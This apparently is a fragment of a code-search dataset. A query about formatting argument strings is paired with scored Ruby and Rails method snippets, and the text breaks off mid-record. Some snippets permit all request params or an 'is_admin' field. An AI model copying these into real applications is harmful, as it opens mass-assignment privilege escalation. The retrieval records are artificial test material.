"docid": "2e6de53893e405d0fe83b9d18b696bd5", "score": "0.599852", "text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.59984183", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.59984183", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "a50ca4c82eaf086dcbcc9b485ebd4261", "score": "0.59947807", "text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end", "title": "" }, { "docid": "0f53610616212c35950b45fbcf9f5ad4", "score": "0.5993962", "text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end", "title": "" }, { "docid": "b545ec7bfd51dc43b982b451a715a538", "score": "0.5992739", "text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end", "title": "" }, { "docid": "0b704016f3538045eb52c45442e7f704", "score": "0.59911275", "text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end", "title": "" }, { "docid": "6af3741c8644ee63d155db59be10a774", "score": "0.59906775", "text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end", "title": "" } ]
3a3499b1f84428ea05f4a680f788386c
modifies the args strings with the correct format
[ { "docid": "f062fbab26e5b2da79d8aa64df95c4b1", "score": "0.0", "text": "def process\n res = []\n @args.each_with_index do |s, index|\n index == 0 ? res << s.to_gtypist_first_line : res << s.to_gtypist\n end\n res\n end", "title": "" } ]
[ { "docid": "88ca2647d7d7298db79fcdbb051f58d3", "score": "0.69974786", "text": "def modify_args(args)\n if @command.default_option && @command.numerical_arg_size? &&\n @command.arg_size <= 1 &&\n !args[0].is_a?(Hash) && args[0].to_s[/./] != '-' && !args.join.empty?\n args[0] = \"--#{@command.default_option}=#{args[0]}\"\n end\n end", "title": "" }, { "docid": "5ab025908264fdd2f7f400b39b1539ee", "score": "0.69948447", "text": "def update_args(namespace, updates); end", "title": "" }, { "docid": "2584f825366a8cce53638bb44786da04", "score": "0.68971103", "text": "def convert_args(args); end", "title": "" }, { "docid": "e75a4b54009c23a197a3f85e6e4e26f5", "score": "0.6885221", "text": "def normalize_arguments(args)\n args\n end", "title": "" }, { "docid": "beaa0e9820c95d7df905f9f74ccbc0ca", "score": "0.6736697", "text": "def transformed_argname; end", "title": "" }, { "docid": "beaa0e9820c95d7df905f9f74ccbc0ca", "score": "0.6736697", "text": "def transformed_argname; end", "title": "" }, { "docid": "1d50a3891019b47ea526885fa7c11921", "score": "0.6673782", "text": "def set_arg_names(args); end", "title": "" }, { "docid": "76218bf1e88e1362ae478a36b43db2f2", "score": "0.6487354", "text": "def update_args(namespace, updates)\n namespace = _fix_ns(namespace)\n updates.each {|k,v| set_arg(namespace, k, v)}\n end", "title": "" }, { "docid": "3bf77751a640417468213ff5c7c6ac97", "score": "0.64637834", "text": "def update_cmd_parts(str)\n end", "title": "" }, { "docid": "ab1f32f17b4f65cd740ed3c3088be085", "score": "0.6452834", "text": "def update_cmd_parts(str)\n\tend", "title": "" }, { "docid": "8c91170d4cea8e693f8f73a8aaedc2cd", "score": "0.641201", "text": "def transformed_argname=(_); end", "title": "" }, { "docid": "8c91170d4cea8e693f8f73a8aaedc2cd", "score": "0.641201", "text": "def transformed_argname=(_); end", "title": "" }, { "docid": "9a5fbb955bd29e9a1c75d7196d776bc7", "score": "0.6394976", "text": "def Args(parts); end", "title": "" }, { "docid": "3ceb043890ad991fa5fc4186aca37744", "score": "0.6373097", "text": "def process_raw_arguments(args)\r\n @arguments = []\r\n\r\n args.each_with_index do |arg, i|\r\n parts = arg.split('=')\r\n\r\n if parts.length == 1\r\n @arguments[i] = arg\r\n elsif parts.length == 2\r\n @arguments[parts[0].gsub(/[^0-9]/, '').to_i] = parts[1]\r\n else\r\n puts \"Could not process argument #{arg}\"\r\n end\r\n end\r\n end", "title": "" }, { "docid": "7bf4876971a4dde7193e9e3cede53fef", "score": "0.63639337", "text": "def place_args_deconstruct(args)\n args.delete(' ').split(\",\")\n end", "title": "" }, { "docid": "9a4708b3fb6165f5109a98d693196748", "score": "0.63304913", "text": "def parse_args(args); end", "title": "" }, { "docid": "55a640a4963a4252e950bb42c853da9d", "score": "0.6323747", "text": "def original_args; end", "title": "" }, { "docid": "0695af3822802891fbb0f18f743214c0", "score": "0.63117224", "text": "def preprocess_arguments(args)\n args\n end", "title": "" }, { "docid": "0695af3822802891fbb0f18f743214c0", "score": "0.63117224", "text": "def preprocess_arguments(args)\n args\n end", "title": "" }, { "docid": "b74d3debc89f6d5e8f29d3a1814e580f", "score": "0.62734026", "text": "def reformat_arguments(*args)\n # If the arguments include a rectangle for text positioning\n if args[0].is_a?(Rect)\n x,y,w,h = args[0].x, args[0].y, args[0].width, args[0].height\n t,a = args[1], args[2]\n # Otherwise, non rectangle usage\n else\n x,y,w,h,t,a = args[0], args[1], args[2], args[3], args[4], args[5]\n end\n # if alignment value not passed within the arguments\n a = 0 if a.nil?\n # Return revised (slightly cleaner)\n return [x,y,w,h,t,a]\n end", "title": "" }, { "docid": "178f5a3d33850a6732274403c4d88c0c", "score": "0.6237103", "text": "def change_arg_name(old_name, new_name)\n i = @old_args.index(old_name)\n @old_args[i] = new_name\n if [\"0\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\"].include?(old_name[1].chr)\n old_name = \"_\" + old_name\n end\n old_name = old_name.gsub(/(\\W)+/,\"\").downcase\n\n i = @arglist.index(old_name)\n @arglist[i] = new_name\n for cell in @cells\n cell.change_arg_name(i, new_name)\n end\n\n @dirty = true\n end", "title": "" }, { "docid": "003070f22dc0fcad6351227cbccd8b42", "score": "0.62315106", "text": "def update!(**args)\n @args = args[:args] unless args[:args].nil?\n @format = args[:format] unless args[:format].nil?\n end", "title": "" }, { "docid": "f92197bbfc210acd185eaf8c6f0b4ac3", "score": "0.62115777", "text": "def process_args(args)\n version,gemset = args\n args={version: version, gemset: gemset}\n if !version.nil? && gemset.nil? && version.include?(\"@\")\n version,gemset = version.split(\"@\")\n args = Hash[[:version,:gemset].zip([version,gemset])]\n end\n args\n end", "title": "" }, { "docid": "f13139fe323d9497d5e56e15ba377611", "score": "0.62020683", "text": "def normalize args\n args.map{ |arg|\n begin\n %r{\\A:} === arg ? [ arg[1..-1] + \":\", true ] : arg\n rescue\n arg\n end\n }.flatten\n end", "title": "" }, { "docid": "06bbe5a9d56a924d564be33fbd657966", "score": "0.62006724", "text": "def normalize_method_args(method, args); end", "title": "" }, { "docid": "06bbe5a9d56a924d564be33fbd657966", "score": "0.62006724", "text": "def normalize_method_args(method, args); end", "title": "" }, { "docid": "f4f6017933dba5baf1a0b1bc63bb0edd", "score": "0.6184984", "text": "def set_arguments (args)\n @format.set_arguments(args)\n end", "title": "" }, { "docid": "602b554ca696a6a1457eff704357172b", "score": "0.6166062", "text": "def __normalized_args__(args)\n args.map do |arg|\n case arg\n when ::Symbol\n arg.to_s\n else\n arg\n end\n end\n end", "title": "" }, { "docid": "886c3983915736378cbdd00953b9a46d", "score": "0.6106613", "text": "def update!(**args)\n @allow_literal = args[:allow_literal] if args.key?(:allow_literal)\n @name_args = args[:name_args] if args.key?(:name_args)\n @number_args = args[:number_args] if args.key?(:number_args)\n @query_string = args[:query_string] if args.key?(:query_string)\n end", "title": "" }, { "docid": "2226fe77effe51b1bf3fb6096e66611c", "score": "0.6055448", "text": "def convert_to_shell_arguments(args)\n new_args = []\n args[3].each do |k, v|\n vstr = v.split(\"\\n\").map { |p| p + \";\" }.join(' ')\n new_args.push \"'#{k}'='#{vstr}'\"\n end\n (args[0, 2] << ::Shellwords::shellescape(new_args.join(' '))).join(' ')\n end", "title": "" }, { "docid": "a7093255c6e595255e36eff0ae9f2646", "score": "0.60442513", "text": "def argument_string(args)\n args.inject([]) do |opts, opt|\n opts << (opt =~ /^-/ ? opt : opt.inspect)\n end.join(' ')\n end", "title": "" }, { "docid": "5ae35f79874e92fa7fca4ce3ba04e46a", "score": "0.60373", "text": "def update!(**args)\n @string_values = args[:string_values] if args.key?(:string_values)\n end", "title": "" }, { "docid": "5ae35f79874e92fa7fca4ce3ba04e46a", "score": "0.6037063", "text": "def update!(**args)\n @string_values = args[:string_values] if args.key?(:string_values)\n end", "title": "" }, { "docid": "5ae35f79874e92fa7fca4ce3ba04e46a", "score": "0.6037063", "text": "def update!(**args)\n @string_values = args[:string_values] if args.key?(:string_values)\n end", "title": "" }, { "docid": "b96a33080fcfde4cc560fb11514c84d4", "score": "0.60172683", "text": "def normalize_args(string, options_hash)\n if options_hash\n { partial: string, locals: options_hash }\n else\n { partial: string }\n end\n end", "title": "" }, { "docid": "b516ec7794ed98289a949776b5a7384a", "score": "0.6010755", "text": "def argument_string(args)\n args.to_a.map { |v| v.join '=' }.join('&')\n end", "title": "" }, { "docid": "b516ec7794ed98289a949776b5a7384a", "score": "0.6010755", "text": "def argument_string(args)\n args.to_a.map { |v| v.join '=' }.join('&')\n end", "title": "" }, { "docid": "d34539b512909a0cf05a15f50ef93c45", "score": "0.5995719", "text": "def deco_args\n return \"\" if args.empty?\n\n my_args = args.map do |arg|\n prefix, default = prefix_and_default(arg[0])\n\n kls = use_short_style?(arg) ? \"\" : \"##{locals[arg[1]].class}\"\n\n \"#{prefix}#{arg[1] || default}#{kls}\"\n end\n\n \"(#{my_args.join(', ')})\"\n end", "title": "" }, { "docid": "4178bc7f5bc3a249c4a08c38370fab0c", "score": "0.5994926", "text": "def args_string(args)\n # format macro arguments string\n args_string = ''\n args.each do |arg, value|\n args_string << \"|#{arg}=#{value}\" if value && !value.empty?\n end\n args_string\n end", "title": "" }, { "docid": "57cd19edf6121589ab409054f8ee7009", "score": "0.59929055", "text": "def format_args(sym, args)\n if args\n \"#{sym}(#{args.collect { |a| a.inspect }.join(', ')})\"\n else\n \"#{sym}(*args)\"\n end\n end", "title": "" }, { "docid": "d66186ddd61463e62c390aa4db305bc6", "score": "0.5992682", "text": "def set_arguments (args)\n @args[:r1], @args[:r2], @args[:r3] = args[2], args[1], args[0]\n end", "title": "" }, { "docid": "583b919ba5af7ca1eee5dbeaf2321740", "score": "0.59773594", "text": "def _normalize_args(action = T.unsafe(nil), options = T.unsafe(nil)); end", "title": "" }, { "docid": "4654f6ec16a2ff00e5e6cd971386a142", "score": "0.5977296", "text": "def resolve_args(args); end", "title": "" }, { "docid": "f15b0fdfb31efb784404322fa397ef64", "score": "0.5967115", "text": "def string_from_args\n if @args.is_a?(Array)\n @args.join(\" \")\n else\n @args\n end\n end", "title": "" }, { "docid": "313ba40a38f05ee7d7def8187e7fbca4", "score": "0.5964997", "text": "def normalize_args(args)\n @args, @tail, flag = [], [], false\n\n args.each do |opt|\n if opt.to_s[0] == '-'\n @args << (arg = opt[(opt[1] == '-' ? 2 : 1)..-1]) && flag = false\n @args << [flag = true] if @flags.include?(arg[0])\n elsif flag || @args.empty?\n @tail << opt\n else\n @args << [opt] && flag = true\n end\n end\n end", "title": "" }, { "docid": "73ff8acfd9f230abbe22c8432bd645cf", "score": "0.5961535", "text": "def arg_string=(_arg0); end", "title": "" }, { "docid": "73ff8acfd9f230abbe22c8432bd645cf", "score": "0.5961535", "text": "def arg_string=(_arg0); end", "title": "" }, { "docid": "45e9d2be27cdeab0aeacab60aa139163", "score": "0.5948143", "text": "def standardize_order_by_args(args)\n idx = args.index '--order_by'\n\n return args if idx.nil?\n\n column_idx = idx + 1\n direction_idx = idx + 2\n\n new_args = args.dup\n data = \"#{args[column_idx]},#{args[direction_idx]}\"\n new_args[column_idx] = data\n\n new_args\n end", "title": "" }, { "docid": "c71c6507c516d71b12626fc8705765ce", "score": "0.59280586", "text": "def get_real_args(args)\n real_args = []\n args.each do |arg|\n real_args << arg if arg !~ /^-/\n end\n replace_short_aliases real_args\n end", "title": "" }, { "docid": "f5d208d4974be7995daacc80c30f6b54", "score": "0.5883494", "text": "def cmd_set(args)\n\t\t\t\tbegin\n\t\t\t\t\t$running_context.options[args[0].to_sym] = args[1..-1].join(\" \")\n\t\t\t\trescue Exception => e\n\t\t\t\t\tDisplay.error \"Something went wrong running the command.\" + e\n\t\t\t\tend\n\t\t\tend", "title": "" }, { "docid": "49ad376d34fdf42d35eee2dfea775fc6", "score": "0.5882727", "text": "def arguments=(_arg0); end", "title": "" }, { "docid": "fea3c9fdd98634046a0ecb81da46eeda", "score": "0.5876244", "text": "def arg_string; end", "title": "" }, { "docid": "fea3c9fdd98634046a0ecb81da46eeda", "score": "0.5876244", "text": "def arg_string; end", "title": "" }, { "docid": "326c26de1b834313bdefdef53fb110a9", "score": "0.5875664", "text": "def normalize_pending_arguments(arguments)\n self.db_name, self.uri = valid_argument_list!(arguments, Symbol, String)\n end", "title": "" }, { "docid": "f3880016c9fc555e63ebd0428076b24f", "score": "0.587329", "text": "def arguments\n @arguments.map do |arg|\n \"--#{Array(arg).join(\"=\")}\"\n end + @revisions.map {|r| r == :all ? \"--all\" : r }\n end", "title": "" }, { "docid": "82cb9ee2ed7a55ad44238a2db9684c5e", "score": "0.58715093", "text": "def normalize_arguments(args)\n @key, @options = infer_arguments(args)\n @default = @options.delete(:default)\n @default = nil if @default.is_a?(Symbol)\n @default = @default.detect { |d| d.is_a?(String) } if @default.is_a?(Array)\n raise InvalidSignatureError.new(@line, args) unless @default.nil? || @default.is_a?(String) || @default.is_a?(Hash)\n rescue ArgumentError\n raise InvalidSignatureError.new(@line, args)\n end", "title": "" }, { "docid": "f8a3250b9e2e9a8f096f1c672daade80", "score": "0.58558935", "text": "def expanded_args; end", "title": "" }, { "docid": "ba1928c9f6e5faf294bff826d1ecebed", "score": "0.5854588", "text": "def fixup_args ()\n\n\tprint \"Using Ruby version: #{RUBY_VERSION}-p#{RUBY_PATCHLEVEL}\\n\"\n\n\tif $my_base_url[-4..-1] != \"/slm\" && $my_base_url[-5..-1] != \"/slm/\"\n\t\tprint \"Fixup: Modifing URL from #{$my_base_url}.\"\n\t\tif $my_base_url[-1..-1] == \"/\"\n\t\t\t$my_base_url.concat(\"slm\")\n\t\telse\n\t\t\t$my_base_url.concat(\"/slm\")\n\t\tend\n\t\tprint \" to #{$my_base_url}\\n\"\n end\n\nend", "title": "" }, { "docid": "d9cb6652486707a29c419e20bf8497a1", "score": "0.58510435", "text": "def prepare_args_calctype(args)\n case @option[:inputFormat]\n when \"basic\" then\n [args[2], args[3]]\n when \"binary\" then\n args\n end\n end", "title": "" }, { "docid": "13a83e80fddc4ee73af6be4c31a3c346", "score": "0.5844738", "text": "def escape_arguments(*args)\n return '' if args.nil?\n args.flatten.map { |a| escape_argument(a.to_s) }.join(\" \")\n end", "title": "" }, { "docid": "9ce4c4b2e5ad4fb62bcff85c1a530e71", "score": "0.5840155", "text": "def format_arguments(q); end", "title": "" }, { "docid": "572f3ce5753a549aa14f20dd2a107804", "score": "0.58382577", "text": "def update!(**args)\n @arg = args[:arg] if args.key?(:arg)\n @command = args[:command] if args.key?(:command)\n end", "title": "" }, { "docid": "e6efab0e4659aeaee93c3515dcbaaf1c", "score": "0.58375543", "text": "def cmdify(args)\n args = args[0]\n \n if args.class == Hash\n args.each do |name, arg|\n @cmd << \" #{name} #{arg}\"\n end\n elsif args.class == String\n @cmd << \" #{args}\"\n end\n end", "title": "" }, { "docid": "9c7f64a0c977e489f787bc18568ac3f0", "score": "0.58367807", "text": "def _normalize_args(action = T.unsafe(nil), options = T.unsafe(nil), &blk); end", "title": "" }, { "docid": "541ae8639699153c90b6d31d22ad098b", "score": "0.5827971", "text": "def format_args(args)\n if args\n args = args.map do |a|\n FlexMock.forbid_mocking(\"<recursive call to mocked method in #inspect>\") do\n a.inspect\n end\n end\n args.join(', ')\n else\n \"*args\"\n end\n end", "title": "" }, { "docid": "ea985216089e9d8ee043a9f1fb4143fc", "score": "0.5824829", "text": "def lazy_space_removal\n # params = ARGV.join(\" \").slice(/(--parameters\\s|-p\\s).*?(?=\\s-|\\z)/)\n # return ARGV if params.nil?\n # params = params.split(' ')\n new_args = ARGV\n # params.each {|p| new_args.delete_if {|x| x == p} }\n # new_args << \"-p\"\n # new_args << params[1..-1].join(' ').gsub(/\\s,/, ',')\n return new_args\nend", "title": "" }, { "docid": "c3b398739ff94f9d545d8cb8905b9f60", "score": "0.58217365", "text": "def update_vm_args\n existing_args = File.read('app/etc/vm.args')\n\n # We need to remove any -name declarations, since that would prevent us running multiple instances\n cleaned_args = existing_args.lines.map { |l| if l =~ /^-name .*/ then '' else l end }\n File.open('app/etc/vm.args', 'w') do |f|\n f.puts cleaned_args.join\n f.puts\n f.puts \"+B\"\n f.puts \"-noinput\"\n end\n end", "title": "" }, { "docid": "d6036291f920bd28662cad3b58d4bf58", "score": "0.5812607", "text": "def args_to_string args\n args.map { |a|\n if a.kind_of?(Array)\n if a.size == 1\n a[0]\n else\n a[0] = (a[0].size == 1 ? \"-\" : \"--\") + a[0]\n a.join(\" \")\n end\n else\n a\n end\n }.join(\" \")\nend", "title": "" }, { "docid": "3b6bb26c87172a616fc57d5b8546f2bf", "score": "0.5808429", "text": "def adjust_process_spawn_argv(args)\n if args.size == 1 && args[0].is_a?(String) && args[0] =~ /[ |>]/\n # single string with these characters means run it through the shell\n command_and_args = system_command_prefixes + [args[0]]\n [*command_and_args]\n elsif !args[0].respond_to?(:to_ary)\n # [argv0, argv1, ...]\n [[args[0], args[0]], *args[1..-1]]\n else\n # [[cmdname, argv0], argv1, ...]\n args\n end\n end", "title": "" }, { "docid": "4ea64e7117c0168246a85a9776d81c64", "score": "0.58032066", "text": "def argsplit(args)\n args.map do |arg|\n case arg\n when /^--[A-Za-z0-9]+/; argfix(arg)\n when /^-([A-Za-z0-9]+)/; $1.chars.map {|c| argfix(\"-#{c}\") }\n else; arg\n end\n end.flatten\nend", "title": "" }, { "docid": "36ffb10580acabe4bce7022eb4a51b94", "score": "0.5800266", "text": "def set_arg_names(args)\n @arg_names = args.map { |a| a.to_sym }\n end", "title": "" }, { "docid": "1d2879d030c23dddcadfa380639f9dc8", "score": "0.58001965", "text": "def update(args)\n @args = args\n end", "title": "" }, { "docid": "1d2879d030c23dddcadfa380639f9dc8", "score": "0.58001965", "text": "def update(args)\n @args = args\n end", "title": "" }, { "docid": "1d2879d030c23dddcadfa380639f9dc8", "score": "0.58001965", "text": "def update(args)\n @args = args\n end", "title": "" }, { "docid": "8cc328dfc84f257e0bd1419de6f0cf7f", "score": "0.5793666", "text": "def update_args_for_version\n version_included = false\n @argv.delete_if do |item|\n if item =~ /^--version|-v/\n version_included = true\n true\n else\n false\n end\n end\n @argv.unshift \"version\" if version_included\n end", "title": "" }, { "docid": "2ca6d0385c82cb1092d3eabefbc511a9", "score": "0.57642156", "text": "def args_to_s(args, mock=true, plugin=\"expect\")\n return \"void\", \"void\" if args.empty?\n new_args = args.reject {|x| mock ? false : (x[:extra?])}\n args_string = new_args.collect{|arg| \"#{arg[:type]} #{arg[:name]}\"}.compact.join(',')\n call_args_string = new_args.collect{|arg| \"#{arg[:name]}\"}.compact.join(',') \n\n if plugin == \"expect\"\n args_string = new_args.collect {|arg| \"#{arg[:type]} #{arg[:name]}\" unless (arg[:extra?] and arg[:name].include?\"Depth\")}.compact.join(',')\n call_args_string = new_args.collect {|arg| (arg[:name].include?\"Depth\" and arg[:extra?]) ? \"1\" : \"#{arg[:name]}\"}.compact.join(',') \n else \n #add your special args string here.\n end \n return args_string, call_args_string\n end", "title": "" }, { "docid": "de77144d30db0000d432a07170f7961e", "score": "0.57527566", "text": "def all_args\n args.join(' ')\n end", "title": "" }, { "docid": "3b4f326c5a32c9088fa83b35381e53ff", "score": "0.57492715", "text": "def argument_string(*args) # TODO: This assumes all arguments are strings, that's stupid.\n args.join('\", \"').prepend('\"') + '\"'\n end", "title": "" }, { "docid": "2783ef0f43858be686682f4440466fe8", "score": "0.5740567", "text": "def update!(**args)\n @parameter_names = args[:parameter_names] if args.key?(:parameter_names)\n end", "title": "" }, { "docid": "b5038864f9a56db7d1e891593f49b442", "score": "0.57373285", "text": "def update!(**args)\n @command_line = args[:command_line] if args.key?(:command_line)\n @prev_program_id = args[:prev_program_id] if args.key?(:prev_program_id)\n @id = args[:id] if args.key?(:id)\n @version = args[:version] if args.key?(:version)\n @name = args[:name] if args.key?(:name)\n end", "title": "" }, { "docid": "67b4c896b0a22d99dea7eca9e6d26824", "score": "0.57357395", "text": "def arguments args_list\n size = args_list.count(',') + 1\n Array.new(size).map_with_index{ |not_important, i|\n (i+10).to_s 36\n }.join(', ')\nend", "title": "" }, { "docid": "8ed7246609bcecb3d12d0ea566ce57d9", "score": "0.5726228", "text": "def reconstruct_parameters_string parameters\n parameters.map(&:input_str).join \",\"\n end", "title": "" }, { "docid": "047d93a0b352cd53309e5646871d53b3", "score": "0.571752", "text": "def args_to_s(args)\n chaine = args.shift(3) << (args.empty? ? nil : args.join(CoursTexte::SEPARATEUR_PREALABLES)) << CoursTexte::ACTIF\n args.clear\n chaine.join(CoursTexte::SEP)\nend", "title": "" }, { "docid": "ff30311a730666d79b5fe2a9c0fababd", "score": "0.57133275", "text": "def escape_arguments(*args)\n return if args.blank?\n args.flatten.map { |a| escape_argument(a.to_s) }.join(\" \")\n end", "title": "" }, { "docid": "a7c1f012e1ab97a429d3787e37aab6c4", "score": "0.57105947", "text": "def set_arg_names(args)\n @arg_names = args.map(&:to_sym)\n end", "title": "" }, { "docid": "ddce187eabfa82ce8f68c3a2221b3c69", "score": "0.57086766", "text": "def update!(**args)\n @command_line = args[:command_line] unless args[:command_line].nil?\n @id = args[:id] unless args[:id].nil?\n @name = args[:name] unless args[:name].nil?\n @prev_program_id = args[:prev_program_id] unless args[:prev_program_id].nil?\n @version = args[:version] unless args[:version].nil?\n end", "title": "" }, { "docid": "99471bb4f8364dca7168fa4f5c970d87", "score": "0.56937873", "text": "def apply_arguments!(str)\r\n str.scan(Templatron::PLACEHOLDER_REG).each do |match|\r\n match_i = match[0].to_i\r\n arg_value = @arguments[match_i]\r\n arg_value = match[1] if arg_value.nil?\r\n\r\n str.gsub!(Templatron::placeholder_reg(match_i), arg_value)\r\n end\r\n end", "title": "" }, { "docid": "3bc012c6b613474a08be45b4f4206f3c", "score": "0.5689429", "text": "def update!(**args)\n @command_line = args[:command_line] if args.key?(:command_line)\n @id = args[:id] if args.key?(:id)\n @name = args[:name] if args.key?(:name)\n @prev_program_id = args[:prev_program_id] if args.key?(:prev_program_id)\n @version = args[:version] if args.key?(:version)\n end", "title": "" }, { "docid": "7889f0897b5ed5679f6da58cdf2ee15c", "score": "0.56871074", "text": "def update!(**args)\n @format = args[:format] if args.key?(:format)\n @name = args[:name] if args.key?(:name)\n @optional = args[:optional] if args.key?(:optional)\n end", "title": "" }, { "docid": "6350e86b22d07dd298fde53d46e4d49a", "score": "0.5682184", "text": "def expand_job_arguments\n @job_args.each do |name, desc|\n type, _extras = desc\n value = instance_variable_get(\"@#{name}\")\n update_argument(name, type, value)\n end\n end", "title": "" }, { "docid": "f3c3c8e35e1461ed8e10eb1ac9eee1e7", "score": "0.5675536", "text": "def update!(**args)\n @command = args[:command] if args.key?(:command)\n @params = args[:params] if args.key?(:params)\n end", "title": "" }, { "docid": "bdae809a840b0ca5d5fc26c2870e8a14", "score": "0.56699026", "text": "def update!(**args)\n @cmdline = args[:cmdline] if args.key?(:cmdline)\n @exe_path = args[:exe_path] if args.key?(:exe_path)\n @pid = args[:pid] if args.key?(:pid)\n @service_name = args[:service_name] if args.key?(:service_name)\n @start_mode = args[:start_mode] if args.key?(:start_mode)\n @state = args[:state] if args.key?(:state)\n end", "title": "" }, { "docid": "eed1bf0ecf9660303f098b8c4b72aa44", "score": "0.5668384", "text": "def args\n debug \"Building args\"\n arguments = []\n Fields.each do |k|\n if k.to_s == 'comment'\n value = \"\\\"#{resource[:comment]}\\\"\"\n else\n if resource[k].kind_of?(Array)\n value = resource[k].join(',')\n else\n value = resource[k]\n end\n end\n if ! value.nil?\n arguments << PropertyMap[k]\n arguments << value\n end\n end\n arguments[2] = \"-I\"\n arguments.insert(4, position)\n arguments\n end", "title": "" }, { "docid": "d201b61d7618bc5164825378b84ad843", "score": "0.5664725", "text": "def update!(**args)\n @names = args[:names] if args.key?(:names)\n end", "title": "" }, { "docid": "d201b61d7618bc5164825378b84ad843", "score": "0.56642514", "text": "def update!(**args)\n @names = args[:names] if args.key?(:names)\n end", "title": "" }, { "docid": "f317198005196582e99aba751740ebfe", "score": "0.5656184", "text": "def update!(**args)\n @command_line_arguments = args[:command_line_arguments] if args.key?(:command_line_arguments)\n @exit_code = args[:exit_code] if args.key?(:exit_code)\n @tool_logs = args[:tool_logs] if args.key?(:tool_logs)\n @tool_outputs = args[:tool_outputs] if args.key?(:tool_outputs)\n end", "title": "" }, { "docid": "f317198005196582e99aba751740ebfe", "score": "0.5656184", "text": "def update!(**args)\n @command_line_arguments = args[:command_line_arguments] if args.key?(:command_line_arguments)\n @exit_code = args[:exit_code] if args.key?(:exit_code)\n @tool_logs = args[:tool_logs] if args.key?(:tool_logs)\n @tool_outputs = args[:tool_outputs] if args.key?(:tool_outputs)\n end", "title": "" }, { "docid": "b2a49ba0793c885f3e9585c9dd6e2f9e", "score": "0.56452954", "text": "def parse_arguments(*args)\n assert_presence_of *args\n required.each_with_index do |req, indx|\n api.set req, args[indx]\n end\n check_requirement!(*args)\n end", "title": "" }, { "docid": "681788065c68792e3b5f2db8c890d8e7", "score": "0.5629257", "text": "def unstringify_hash_arguments\n gsub(/'([^']+?)'(?=\\s*=>)/, '(\\1)').\n gsub(/\"([^\"]+?)\"(?=\\s*=>)/, '(\\1)').\n gsub(/:(\\w+)(?=\\s*=>)/, '.\\1').\n gsub(/(=>\\s*)'([^']+?)'/, '\\1(\\2)').\n gsub(/(=>\\s*)\"([^\"]+?)\"/, '\\1(\\2)').\n gsub(/(=>\\s*):(\\w+)/, '\\1.\\2')\n end", "title": "" }, { "docid": "e6e50ab5b1e1d5e83ad3215f6b2f0ed4", "score": "0.5623959", "text": "def arguments(request_parts)\n\t\t\t\t@path_parts.each_with_index.with_object({}) do |(path_part, i), args|\n\t\t\t\t\trequest_part = request_parts[i]\n\t\t\t\t\tpath_part_opt = path_part[1] == ARG_CHAR_OPT\n\t\t\t\t\tnext args unless path_part[0] == ARG_CHAR\n\t\t\t\t\tbreak args if path_part_opt && request_part.nil?\n\t\t\t\t\targs[\n\t\t\t\t\t\tpath_part[(path_part_opt ? 2 : 1)..-1].to_sym\n\t\t\t\t\t] = URI.decode(request_part)\n\t\t\t\tend\n\t\t\tend", "title": "" }, { "docid": "89c6937b83c1d40f01d5d65c9af3af68", "score": "0.56205946", "text": "def parse_args(args)\n [args.shift, args.shift]\n end", "title": "" } ]
ab2680679149dc7e05243094f0204862
An ephemeral app to review a set of changes
[ { "docid": "f6b45576230732404035c1c7716b150f", "score": "0.5510862", "text": "def review_app\n @review_app_resource ||= ReviewApp.new(@client)\n end", "title": "" } ]
[ { "docid": "1eb223cd7eb6c61137f9723c7f0c14d8", "score": "0.605537", "text": "def show\n @change_set.review! if current_user.content_approver? && !@change_set.being_reviewed? && !@change_set.accepted? && !@change_set.rejected?\n end", "title": "" }, { "docid": "b50f98691b2d5142a44e6bfd05fc0ceb", "score": "0.59798664", "text": "def admin_updates(update, comment, user)\n\n audit= self.audit\n \n changes = {}\n cc_list = []\n set_pcb_input_designer = false\n\n # Update the design reviews\n self.design_reviews.each do |dr|\n\n original_designer = dr.designer\n original_criticality = dr.priority\n original_review_status = dr.review_status.name\n\n next if dr.review_status.name == \"Review Completed\"\n\n if dr.update_criticality(update[:criticality], user)\n changes[:criticality] = { :old => original_criticality.name, \n :new => update[:criticality].name}\n end\n \n if dr.update_review_status(update[:status], user)\n changes[:review_status] = { :old => original_review_status,\n :new => update[:status].name}\n end \n \n\n # If the design review is \"Pre-Artwork\" that is not complete\n # then process any PCB Input Gate change.\n if dr.update_pcb_input_gate(update[:pcb_input_gate], user)\n cc_list << original_designer.email\n cc_list << update[:pcb_input_gate].email if update[:pcb_input_gate].id != 0\n\n changes[:pcb_input_gate] = { :old => original_designer.name, \n :new => update[:pcb_input_gate].name}\n\n set_pcb_input_designer = true\n\n elsif dr.update_release_review_poster(update[:release_poster], user)\n\n cc_list << original_designer.email\n cc_list << update[:release_poster].email if update[:release_poster].id != 0\n changes[:release_poster] = { :old => original_designer.name, \n :new => update[:release_poster].name }\n \n elsif dr.update_reviews_designer_poster(update[:designer], user)\n\n cc_list << dr.designer.email if dr.designer_id != 0\n cc_list << update[:designer].email if update[:designer].id != 0\n changes[:designer] = { :old => original_designer.name, \n :new => update[:designer].name }\n end\n \n dr.reload if changes.size > 0\n\n end\n \n # Update the design.\n cc_list << self.input_gate.email if self.pcb_input_id != 0\n cc_list << self.designer.email if self.designer_id != 0\n if set_pcb_input_designer && \n update[:pcb_input_gate] && \n self.pcb_input_id != update[:pcb_input_gate].id\n self.pcb_input_id = update[:pcb_input_gate].id\n end\n\n old_pcb_path = 